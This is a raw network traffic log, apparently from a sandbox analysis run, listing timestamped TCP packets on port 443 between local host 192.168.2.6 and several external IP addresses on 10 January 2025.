Jan 10, 2025 00:51:40.126743078 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.126749992 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.126771927 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.126804113 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.126807928 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.126857042 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.126885891 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.126893997 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.126893997 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.126928091 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.128024101 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.128032923 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.130439997 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.130450964 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.130522966 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.131309986 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.131325006 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.133627892 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.133637905 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.133799076 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.134150028 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.134160042 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.136256933 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.136275053 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.136317968 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.136331081 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.136356115 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.136909008 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.136919975 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.143193960 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.143248081 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.143296003 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.143307924 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.143421888 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.143474102 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.144764900 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.144769907 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158409119 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158476114 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158498049 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158540010 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158550024 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.158572912 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158576965 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.158598900 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.158607960 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158628941 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.158654928 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.158668995 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.158773899 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.159168005 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.159720898 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.159729958 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.162760019 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.162794113 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.162869930 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.163594007 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.163606882 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.164680958 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.164701939 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.164803982 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.164954901 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.164968014 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167007923 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167074919 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167112112 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167126894 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.167130947 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167159081 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.167159081 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167179108 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.167200089 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167253971 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.167259932 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167380095 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.167447090 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.168453932 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.168461084 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.170685053 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.170713902 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.171446085 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.171619892 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.171633959 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.172065973 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.172082901 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.172143936 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.172288895 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.172301054 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.336127043 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.344715118 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.344732046 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.345171928 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.345736980 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.345813990 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.346256018 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.368233919 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.368664980 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.368684053 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.369950056 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.370304108 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.370505095 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.370529890 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.373383045 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.373939037 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.373971939 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.375049114 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.375118017 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.375468969 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.375531912 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.375631094 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.375638008 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.385031939 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.385361910 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.385386944 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.385696888 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.386085987 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.386153936 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.386236906 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.387350082 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.411902905 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.427349091 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.428822041 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.428822041 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.493072987 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:40.493149042 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:40.493230104 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:40.493746996 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:40.493777037 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:40.505548000 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:40.505578041 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:40.505820990 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:40.506432056 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:40.506444931 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:40.592384100 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.592411995 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.592454910 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.592472076 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.592478991 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.592524052 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.593940973 CET	49840	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.593960047 CET	443	49840	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.597021103 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.597052097 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.597301960 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.597723961 CET	49858	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.597738028 CET	443	49858	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.598107100 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.598174095 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.598239899 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.598480940 CET	49859	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.598499060 CET	443	49859	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.645975113 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.646002054 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.646009922 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.646068096 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.646066904 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.646354914 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.656538010 CET	49841	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.656563997 CET	443	49841	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.720863104 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.720886946 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.720892906 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.720902920 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.720933914 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.720953941 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.721002102 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.721015930 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.721298933 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.739403009 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.739423990 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.739483118 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.739510059 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.741087914 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.741147995 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.741163969 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.741189957 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.741234064 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.741856098 CET	49839	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.741875887 CET	443	49839	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.745235920 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.745265007 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.745331049 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.745647907 CET	49861	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.745661020 CET	443	49861	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.747028112 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.747085094 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.747184038 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.747391939 CET	49862	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.747417927 CET	443	49862	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.786571026 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.786834955 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.786849022 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.787853956 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.787928104 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.788305044 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.788363934 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.788440943 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.788448095 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.799166918 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.799536943 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.799547911 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.799901009 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.800204992 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.800275087 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.800376892 CET	49845	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.824882030 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.825396061 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.825407028 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.825782061 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.826731920 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.826796055 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.826879978 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.828109026 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.828352928 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.828409910 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.828432083 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.828471899 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.828504086 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.828506947 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.828521967 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.828561068 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.828584909 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.839483023 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.839693069 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.839703083 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.840820074 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.841198921 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.841342926 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.841347933 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.841362953 CET	443	49848	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.843338013 CET	443	49845	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.852350950 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.852575064 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.852608919 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.852982044 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.853283882 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.853358030 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.853426933 CET	49849	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.858071089 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.858391047 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.858409882 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.859411001 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.859507084 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.859884024 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.859930992 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.860173941 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.860179901 CET	443	49850	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.867408991 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.882682085 CET	49848	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.886630058 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.887010098 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.887057066 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.890641928 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.890733004 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.891215086 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.891407967 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.891422987 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.891444921 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.895335913 CET	443	49849	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.909039021 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.909440041 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.909485102 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.913060904 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.913145065 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.913423061 CET	49850	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.913631916 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.913706064 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.913794994 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.913810015 CET	443	49852	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.917609930 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.917635918 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.917679071 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.917702913 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.917721033 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.917746067 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.918382883 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.918440104 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.918445110 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.918489933 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.918616056 CET	49842	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:40.918632984 CET	443	49842	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:40.932035923 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.932070971 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.932641029 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.933101892 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:40.933115005 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:40.936534882 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:40.936551094 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:40.936805964 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.936822891 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:40.936856031 CET	443	49851	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:40.938230038 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:40.938252926 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:40.962385893 CET	49852	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.977684021 CET	49851	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:40.994759083 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:40.995004892 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:40.995019913 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:40.995894909 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:40.995990038 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:40.996702909 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:40.996795893 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.026616096 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.026717901 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:41.026901960 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.026915073 CET	443	49843	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:41.058810949 CET	443	49718	142.250.186.164	192.168.2.6
Jan 10, 2025 00:51:41.058886051 CET	443	49718	142.250.186.164	192.168.2.6
Jan 10, 2025 00:51:41.059001923 CET	49718	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:51:41.063657045 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.063690901 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.063698053 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.063719034 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.063760042 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.063759089 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.063781977 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.063796997 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.063803911 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.063822031 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.063839912 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.064923048 CET	49853	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.064939022 CET	443	49853	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.068617105 CET	49843	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.072241068 CET	49718	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:51:41.072252989 CET	443	49718	142.250.186.164	192.168.2.6
Jan 10, 2025 00:51:41.083780050 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.084039927 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.084074020 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.085128069 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.085206985 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.087598085 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.087682009 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.088001966 CET	49857	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:41.088027954 CET	443	49857	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:41.112476110 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.112503052 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.112561941 CET	49846	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.112577915 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.112592936 CET	443	49846	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.112642050 CET	49846	443	192.168.2.6	38.165.16.38
